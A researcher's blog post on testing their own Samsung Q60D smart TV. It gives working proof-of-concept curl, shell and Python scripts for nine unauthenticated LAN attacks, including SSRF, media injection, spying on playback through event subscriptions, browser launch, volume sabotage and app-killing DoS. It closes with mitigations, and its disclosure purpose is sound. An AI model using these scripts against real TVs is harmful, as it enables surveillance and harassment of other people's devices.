📺 An afternoon at home, Twitter and "why not?"
An afternoon at home, reading Twitter, I saw someone who had hacked their TV. And I thought: "why not...?"
I had a Samsung Q60D (TQ50Q60DAUXXC, firmware T-NKLDDEUC-0090-2115.2) connected to my home network. I set it up in the living room, ran an nmap against it and started pulling the thread. What started as curiosity turned into 9 confirmed vulnerabilities, several of them exploitable without authentication from any device on the same WiFi network.
This post has all the details: protocols, working PoCs and an explanation of why each thing works.
📡 How a Smart TV works on the inside
Before talking about bugs, you need to understand what is running on the TV.
A modern Smart TV is not just a display. It is a full network server that exposes services so your phone, tablet and other apps on the network can control it. The main protocols are:
- UPnP/DLNA: XML/SOAP-based control protocol. It lets apps like VLC or your phone tell the TV "play this file", "stop", "turn the volume up". Messages are in XML and sent over HTTP POST.
- DIAL (Discovery and Launch): Protocol used by Netflix, YouTube and Chrome to discover receivers on the network and launch applications on them. The TV exposes an HTTP API where you can ask "do you have Netflix?" and request it to start.
- SmartView / WebSocket: Samsung's proprietary API used by remote control apps. They connect via WebSocket and send JSON events.
- Google Cast / AirPlay: Google's and Apple's casting protocols respectively. The TV acts as the receiver.
All of this is useful for user convenience. The problem is when none of these services require authentication.
🔍 Enumeration: how many ports does a Samsung have open
The first thing I did was a basic nmap:
nmap -sV -p- 192.168.1.36
Result: 16 open TCP ports.
| Port | Service | Auth |
|---|---|---|
| 7000 | AirPlay/AirTunes RTSP | NO |
| 7678 | UPnP DIAL Receiver | NO |
| 8001 | SmartView API v2 | PARTIAL |
| 8008 | Google Cast | NO |
| 8080 | DIAL WebServer | PARTIAL |
| 8187 | UPnP AllShare | NO |
| 9119 | UPnP ScreenSharing | NO |
| 9197 | UPnP DMR / DLNA | NO |
| ... | ... | ... |
80% of the services required no credentials whatsoever.
I discovered the SSDP services with:
gssdp-discover -i eth0 --timeout=5
The TV was announcing itself on the network with three different UUIDs pointing to UPnP services on ports 9197 and 9119.
🚨 VULN-001: SSRF via UPnP SetAVTransportURI
Port: 9197 | Auth: None | Severity: High
How UPnP/DLNA works
The UPnP protocol allows a client (your phone) to send SOAP actions to the TV to control playback. The SetAVTransportURI action is what tells the TV "load this media resource". The TV receives a URL and makes an HTTP request to that URL to verify the content before playing it.
The problem: it accepts any URL with no authentication and without validating that it is media.
Why it works
When you send SetAVTransportURI, the TV makes two requests to the server indicated by the URL:
HEAD— to check headers (content type, size, DLNA support)GET— to download the content
This turns the TV into an involuntary HTTP proxy: you can make it resolve internal names, probe ports, and make requests on your behalf from its position on the network.
Full PoC
1. Set up an HTTP server to capture the TV's requests:
python3 -m http.server 9999
2. Send the SOAP action:
curl -s -X POST http://192.168.1.36:9197/upnp/control/AVTransport1 \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID>
<CurrentURI>http://192.168.1.46:9999/test</CurrentURI>
<CurrentURIMetaData></CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>'
3. What appeared on the HTTP server:
[18:58:47] 192.168.1.36:59180 → HEAD /test.mp4 → 200
Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1', 'getCaptionInfo.sec': '1'}
[18:58:47] 192.168.1.36:59190 → GET /test.mp4 → 200
Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1'}
The TV made HEAD and GET requests to my server without me doing anything else. The source IP was 192.168.1.36 — the TV itself.

Real impact:
- The TV acts as a proxy to make requests to any host/port on the network
- You can scan internal hosts from the TV's position
- When I tested with
http://localhost:PORT/, it returned error 716 for internal ports (which confirms it is trying)
📺 VULN-002: Media Injection without authentication
Port: 9197 | Auth: None | Severity: High
Why it works
Once you have SetAVTransportURI, the TV loads whatever you send it. And with the Play action, it plays it. No popup, no confirmation, no PIN. Any device on the WiFi network can put whatever it wants on screen.
MIME types it accepts directly: image/bmp, image/jpeg, image/png, audio/mpeg, video/mp4, video/x-matroska.
Full PoC — Display a red image on the TV
#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46
# 1. Create a 200x200 red BMP image
python3 -c "
import struct
w, h = 200, 200
rs = (w*3+3)&~3
d = b'BM' + struct.pack('<I',54+rs*h) + b'\0\0\0\0' + struct.pack('<I',54)
d += struct.pack('<I',40) + struct.pack('<ii',w,h) + struct.pack('<HH',1,24) + b'\0'*24
for y in range(h):
d += b'\x00\x00\xff'*w + b'\0'*(rs-w*3)
open('/tmp/pwned.bmp','wb').write(d)
"
# 2. Serve the file
cd /tmp && python3 -m http.server 9999 &
sleep 1
# 3. Load on the TV with DLNA metadata
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
-d "<?xml version=\"1.0\"?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"
s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<s:Body>
<u:SetAVTransportURI xmlns:u=\"urn:schemas-upnp-org:service:AVTransport:1\">
<InstanceID>0</InstanceID>
<CurrentURI>http://${MY_IP}:9999/pwned.bmp</CurrentURI>
<CurrentURIMetaData><DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/"><item id="0" parentID="-1" restricted="false"><dc:title>HACKED</dc:title><res protocolInfo="http-get:*:image/bmp:*">http://${MY_IP}:9999/pwned.bmp</res><upnp:class>object.item.imageItem</upnp:class></item></DIDL-Lite></CurrentURIMetaData>
</u:SetAVTransportURI>
</s:Body>
</s:Envelope>"
sleep 1
# 4. Play
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#Play"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
<InstanceID>0</InstanceID><Speed>1</Speed>
</u:Play>
</s:Body>
</s:Envelope>'
Real response from the TV:
<u:SetAVTransportURIResponse/> ← Loaded successfully
<u:PlayResponse/> ← Playback started
<CurrentTransportState>TRANSITIONING</CurrentTransportState>
Server log:
[19:00:16] 192.168.1.36 → HEAD /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET /pwned.bmp → 200
[19:00:21] 192.168.1.36 → GET /pwned.bmp → 200 ← third download = active rendering


The TV downloaded the image three times (verification + decoding + render) and displayed it on screen.
UPnP actions available without authentication:
SetAVTransportURI, Play, Stop, Pause, Next, Previous, GetTransportInfo, GetMediaInfo, GetPositionInfo
👁️ VULN-003: SSRF via UPnP SUBSCRIBE callbacks
Ports: 9197, 9119 | Auth: None | Severity: Medium-High
How UPnP Events work
In addition to sending commands, UPnP allows subscribing to events. It works like this: you tell the TV "when you change state, notify me at this URL". The TV saves your callback and every time someone changes the volume, stops a movie or changes the source, it sends an HTTP NOTIFY with the full state.
This is so your remote control app can update its interface in real time. The problem is that it accepts any URL as callback, with no authentication.
PoC: spying on what someone is watching on the TV
#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46
# 1. Server that captures and parses the events
python3 -c "
import http.server, time
class H(http.server.BaseHTTPRequestHandler):
def do_NOTIFY(self):
body = self.rfile.read(int(self.headers.get('Content-Length',0)))
print(f'[{time.strftime(\"%H:%M:%S\")}] TV State Change:')
text = body.decode('utf-8', errors='replace')
if 'TransportState' in text:
import re
state = re.findall(r'TransportState val=\"([^\"]+)\"', text)
uri = re.findall(r'CurrentTrackURI val=\"([^\"]+)\"', text)
title = re.findall(r'dc:title[^>]*>([^<]+)<', text)
if state: print(f' State: {state[0]}')
if uri: print(f' URI: {uri[0]}')
if title: print(f' Title: {title[0]}')
self.send_response(200)
self.end_headers()
def log_message(self, *a): pass
print('Listening for TV state changes...')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
sleep 1
# 2. Subscribe — the TV will send NOTIFYs to my server
curl -s -X SUBSCRIBE "http://$TV:9197/upnp/event/AVTransport1" \
-H "CALLBACK: <http://$MY_IP:9999/spy>" \
-H "NT: upnp:event" \
-H "TIMEOUT: Second-1800"
TV response:
HTTP/1.1 200 OK
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
TIMEOUT: Second-300
Notifications received (more than 100 in a test session):
NOTIFY /spy HTTP/1.1
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
NT: upnp:event
NTS: upnp:propchange
User-Agent: Samsung Server UPnP/1.0
<AVTransportURI val="http://...content_being_played..."/>
<TransportState val="PLAYING"/>

Subscribable services without auth:
/upnp/event/AVTransport1— playback state/upnp/event/RenderingControl1— volume and mute/upnp/event/ConnectionManager1— active connections/upnp/event/ScreenSharingService1— mirroring state
📱 VULN-004: ScreenSharing without user approval
Port: 9119 | Auth: None | Severity: High
How Screen Mirroring works
Samsung uses WiFi Direct (P2P) for screen mirroring. The negotiation starts with a SOAP call where the client says "I want to connect for mirroring, here are my MACs". Normally this should show a popup on the TV asking for approval.
It does not. The X_ConnectScreenSharingM2TV action responds directly and also leaks the BSSID of the WiFi router the TV is connected to.
Why that matters
The BSSID is the MAC address of the WiFi access point. With that information and public databases like WiGLE, you can triangulate the geographic location of the device (and therefore the home or office where it is).
PoC
curl -s -X POST http://192.168.1.36:9119/upnp/control/ScreenSharingService1 \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:samsung.com:service:ScreenSharingService:1#X_ConnectScreenSharingM2TV"' \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:X_ConnectScreenSharingM2TV
xmlns:u="urn:samsung.com:service:ScreenSharingService:1">
<mWlanMacAddress>AA:BB:CC:DD:EE:FF</mWlanMacAddress>
<mP2pDeviceAddress>AA:BB:CC:DD:EE:FF</mP2pDeviceAddress>
<mBluetoothMacAddress>AA:BB:CC:DD:EE:FF</mBluetoothMacAddress>
<mWFDSourcePort>7236</mWFDSourcePort>
</u:X_ConnectScreenSharingM2TV>
</s:Body>
</s:Envelope>'
Real response from the TV:
<u:X_ConnectScreenSharingM2TVResponse>
<tBSSID>44:3b:14:2b:8c:78</tBSSID>
<tWlanFreq>2437</tWlanFreq>
<tListenFreq>2437</tListenFreq>
</u:X_ConnectScreenSharingM2TVResponse>
The BSSID 44:3b:14:2b:8c:78 is my router's MAC. The frequency 2437 MHz corresponds to channel 6 of the 2.4GHz band.
🔌 VULN-005: WebSocket channels without authentication
Port: 8001 | Auth: None (on several channels) | Severity: Medium
How SmartView works
Samsung's SmartView API allows full remote control of the TV. It works via WebSocket: the app connects, the TV shows a popup asking to accept the connection, and if the user accepts, the session is established.
The samsung.remote.control channel (the one that sends remote control keys) does require a token. But there are many other channels that connect directly:
| Channel | Result |
|---|---|
samsung.remote.control |
ms.channel.unauthorized ✗ |
samsung.remote |
ms.channel.connect ✓ no auth |
samsung.companion |
ms.channel.connect ✓ no auth |
com.samsung.companion |
ms.channel.connect ✓ no auth |
samsung.art.control |
ms.channel.connect ✓ no auth |
samsung.channel.0 |
ms.channel.connect ✓ no auth |
PoC
import asyncio, websockets, json, base64
async def connect():
name = base64.b64encode(b"SecurityTest").decode()
uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.companion?name={name}"
async with websockets.connect(uri) as ws:
msg = await ws.recv()
data = json.loads(msg)
print(f"Event: {data['event']}")
print(f"Assigned client ID: {data['data']['id']}")
print(f"Connected clients: {len(data['data']['clients'])}")
asyncio.run(connect())
Real response:
{
"data": {
"clients": [{
"attributes": {"name": "U2VjdXJpdHlUZXN0"},
"connectTime": 1776186527030,
"deviceName": "U2VjdXJpdHlUZXN0",
"id": "cbab98f8-bde9-4116-865f-6e427cd5645d",
"isHost": false
}],
"id": "cbab98f8-bde9-4116-865f-6e427cd5645d"
},
"event": "ms.channel.connect"
}

A persistent session established, no popup on screen, no user confirmation.
📊 VULN-006: Massive Information Disclosure
Ports: 8001, 7000, 8008, 9119, 7678, 8080 | Auth: None | Severity: Medium
Why it matters
The TV exposes identity and context data on public endpoints without authentication. On its own this is not an exploit, but it is the fuel that makes the other attacks much more precise.
PoC: full TV fingerprint
#!/bin/bash
TV=192.168.1.36
echo "=== SmartView API ==="
curl -s "http://$TV:8001/api/v2/" | python3 -m json.tool
echo "=== Google Cast ==="
curl -s "http://$TV:8008/setup/eureka_info" | python3 -m json.tool
echo "=== AirPlay ==="
curl -s "http://$TV:7000/info" | strings | grep -E "(firmware|serial|model|version|build|mac|SDK|Engine)"
echo "=== Screen Sharing MACs ==="
curl -s "http://$TV:9119/screen_sharing" | python3 -c "
import sys, re
text = sys.stdin.read()
ss = re.findall(r'X_ScreenSharing>([^<]+)', text)
if ss:
for pair in ss[0].split(','): print(f' {pair}')
"
echo "=== DIAL Apps ==="
for app in Netflix YouTube; do
state=$(curl -s -m 2 "http://$TV:8080/ws/apps/$app" | python3 -c "import sys,re; m=re.search(r'<state>([^<]+)',sys.stdin.read()); print(m.group(1) if m else '?')")
echo " $app: $state"
done
What it returns:
| Data | Value | Source |
|---|---|---|
| Model | TQ50Q60DAUXXC | 8001, 9197 |
| Firmware | T-NKLDDEUC-0090-2115.2 | 8001, 7000 |
| Serial | 0FJC3SCXA03609V | 7000, 9197 |
| WiFi MAC | 28:E6:A9:6E:38:D6 | 8001, 9119 |
| Ethernet MAC | F4:DD:06:AC:EE:A0 | 7000, 9119 |
| Bluetooth MAC | 28:E6:A9:6E:38:D7 | 9119 |
| P2P MAC | 2A:E6:A9:6E:38:D6 | 9119, 9197 |
| Router BSSID | 44:3B:14:2B:8C:78 | 8001, 9119 |
| Web Engine | Chromium 74.128.1 | 7000 |
| Full RSA Public Key | 2048-bit | 8008 |
| Netflix | stopped v80.24.16020 | 8080 |

🔊 VULN-007: UPnP RenderingControl without authentication — remote volume and mute
Port: 9197 | Auth: None | Severity: Medium
Why it matters
The same UPnP service that enables the other vulns on port 9197 (AVTransport, RenderingControl, ConnectionManager) also exposes full volume and mute control without authentication. Anyone on the WiFi can mute the TV, suddenly max out the volume or toggle mute — pure sabotage, and at 100% volume there is a real auditory risk.
This was not obvious upfront — RenderingControl sounds like graphical rendering control, but it includes the audio mixer.
Real PoC against my TV
TV=192.168.1.36
# Read current volume
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel></u:GetVolume></s:Body></s:Envelope>'
# Lower to 7 (or 100, or whatever you want)
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetVolume"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredVolume>7</DesiredVolume></u:SetVolume></s:Body></s:Envelope>'
# Mute ON
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetMute"' \
-d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetMute xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredMute>1</DesiredMute></u:SetMute></s:Body></s:Envelope>'
Real response:
<u:GetVolumeResponse><CurrentVolume>22</CurrentVolume></u:GetVolumeResponse>
<u:SetVolumeResponse/> ← lowered to 7
<u:GetVolumeResponse><CurrentVolume>7</CurrentVolume></u:GetVolumeResponse>
<u:SetMuteResponse/> ← muted

RenderingControl:1 service actions available without auth:
GetVolume, SetVolume, GetMute, SetMute, ListPresets, SelectPreset, X_GetAspectRatio, X_SetAspectRatio, X_Move360View, X_Zoom360View, X_Origin360View, X_ControlCaption.
Combined with VULN-002 you have a perfect prank/harassment weapon: full-screen image + volume at 100 + mute off, without a single click from the user.
🌐 VULN-008: Browser launch without auth — DIAL ↔ MSF desynchronization
Port: 8001 (WebSocket) | Auth: None | Severity: Medium-High
How I found it
Looking for a way to open the TV's browser to a URL, the obvious path is DIAL (POST /ws/apps/WebBrowser), which responds 200 OK but leaves the state as stopped. Samsung maintains a whitelist in the DIAL launcher that explicitly blocks the browser — a reasonable hardening decision.
But Samsung has two independent paths to the app launcher: DIAL and MSF (Multi-Screen Framework, via WebSocket on port 8001). And only the DIAL whitelist covers the browser. The MSF API launches org.tizen.browser without complaint.
Why it works
The samsung.remote.control WebSocket channel does require a token (which covers SendRemoteKey, the main method for simulating remote control presses). But other channels — samsung.remote, samsung.companion, samsung.art.control, samsung.channel.0 — accept connection without a token (VULN-005).
Within any of those channels, the ms.application.start method is processed without checking whether the client is authorized to launch that specific app. DIAL has a whitelist; MSF does not. Double launcher, guard on only one door.
Full PoC
import asyncio, websockets, json, base64
async def pwn():
name = base64.b64encode(b"attacker").decode()
uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.remote?name={name}"
async with websockets.connect(uri) as ws:
await ws.recv() # handshake
await ws.send(json.dumps({
"method": "ms.application.start",
"params": {"id": "org.tizen.browser"}
}))
asyncio.run(pwn())
Evidence:
$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>stopped</state>
$ python3 pwn.py
$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>running</state> ← Browser opened without consent

What I did not achieve
I tried 33 variants of the payload to force the initial URL (data.url, data.uri, data.href, data.operation with uri, data.extra, top-level params, options.url, args.url, JSON stringified, ms.webapplication.start with different field names, alternative IDs WebBrowser / browser / Internet / com.samsung.tv-web-browser, etc.). In all cases, the browser launched but loaded its default home page. An HTTP server at 192.168.1.46 did not receive a single request from the TV.
Samsung appears to have decoupled the MSF launcher from Tizen app-control specifically to close this vector. Good defense in depth — but partial: the attacker can still open the browser without consent, which already enables prank scenarios, physical phishing (if the user keeps using the browser they see a "interrupted" screen in a credible way) and future escalation if a URL isolation bypass is ever discovered.
Bonus: Samsung already thought about this vector
Testing ms.channel.emit with events from the internal namespace, the TV responds:
{"event":"ms.error","data":{"message":"Usage of `ms.` in custom event is not allowed. Perhaps use a alternative namespace."}}
That message — written in non-native English with the suggestion to "use an alternative namespace" — reveals that someone hardened ms.channel.emit after observing this same injection pattern. But the hardening only covers emit, not ms.application.start directly. Classic hole from inconsistency.
🎛️ VULN-009: Inconsistent DIAL ACL and DELETE without auth
Port: 8080 | Auth: None (partial) | Severity: Medium
Problem 1: same API, different ACL per app
The DIAL API exposes each app under /ws/apps/<name>. The access control for POST (launch) is not uniform:
| App | External POST |
Behavior |
|---|---|---|
| Netflix | 201 Created |
Launched without auth |
| YouTube | 403 Forbidden |
IP-based ACL active |
| WebBrowser | 404 Not Found |
Handler denies externals |
There is no clean pattern. Netflix is exposed to trivial remote launch; YouTube is blocked; WebBrowser is in a strange state (the 404 is misleading — the handler exists, it just does not respond to POST for external clients, something I verified because the state does change internally under specific conditions).
Problem 2: DELETE is not in the ACL
The control applied to POST was not applied to DELETE. A DELETE /ws/apps/<app>/run request closes the app without auth or token:
# Any WiFi user can stop Netflix/YouTube/WebBrowser/etc.
curl -X DELETE http://192.168.1.36:8080/ws/apps/Netflix/run
# HTTP/1.1 200 OK
Trivial DoS: scripted over the installed apps, a local network attacker can prevent normal use of the TV (while true; do curl -X DELETE …; sleep 2; done). No visible logs, no popup, no way to know where it is coming from.

Why I care to document it
When responses from the same API vary by app without a clear pattern, it is easy to think there is a bypassable control where in reality there are just asymmetric policies. Documenting the inconsistency avoids misinterpreting handler difference as control bypass.
🛡️ Defenses that do work
The TV is not entirely Swiss cheese. There were things I tested that did not work:
| Attack | Defense | Result |
|---|---|---|
file:// in SetAVTransportURI |
Only accepts http:// |
Error 716 |
gopher://, dict://, ftp:// |
Only http:// |
Error 716 |
| XXE via SOAP XML | Parser rejects DOCTYPE | Error 402 |
| Command injection in URL | Treated as literal | Not interpreted |
Format string %n%s |
Not processed | Error 701 |
| 50K buffer overflow in metadata | No crash | Robust parser |
| HTML via DLNA | MIME type blocked | Error 714 |
| WebSocket token bruteforce | Solid token auth | ms.channel.unauthorized |
| SOAP multi-action injection | Only processes 1st action | Ignores rest |
🎓 What to learn from this
If you are a manufacturer (Samsung):
- Authentication on sensitive UPnP actions —
SetAVTransportURI,Play,SetVolumeandSetMuteshould not be accepted from anyone on the network without user confirmation - Authorization on UPnP SUBSCRIBE — do not accept callbacks to arbitrary URLs without prior validation
- Approval popup in ScreenSharing — the user should confirm on screen
- Close unauthenticated WebSocket channels —
samsung.companion,samsung.remote, etc., and gatems.application.startequivalently to DIAL - Reduce exposed information — serial, MACs, router BSSID, RSA public key... too much
- Uniform the DIAL ACL — Netflix without ACL, YouTube with ACL,
DELETEwithout ACL: the policy has to be the same for all apps and all HTTP methods - Synchronize DIAL and MSF whitelists — if DIAL blocks browser launch, MSF must apply the same rule, not open a second door
If you are a user:
- Separate IoT VLAN — the TV should not share a network with your work laptop
- Block ports 9197, 9119, 8187 from other devices if your router allows it
- Update firmware whenever a patch is available
- Do not connect the TV to public/shared WiFi networks
🚀 Conclusion
The story started with "I saw it on Twitter, why not?" and ended with 9 confirmed vulnerabilities exploitable from the same WiFi network without a single click from the user.
Where this can go wrong:
- Hospitals: a TV in a meeting room with projected medical information — any visitor with a laptop can see what is being broadcast
- Offices: manipulation of screens in waiting rooms or meeting rooms
- Shared homes: curious flatmates with access to the same WiFi
- Hotels: rooms on the same VLAN (it happens more than you'd think)
Another classic IoT reminder: security is designed after convenience, if it is designed at all.
This analysis was performed on my own Samsung Q60D on my home network.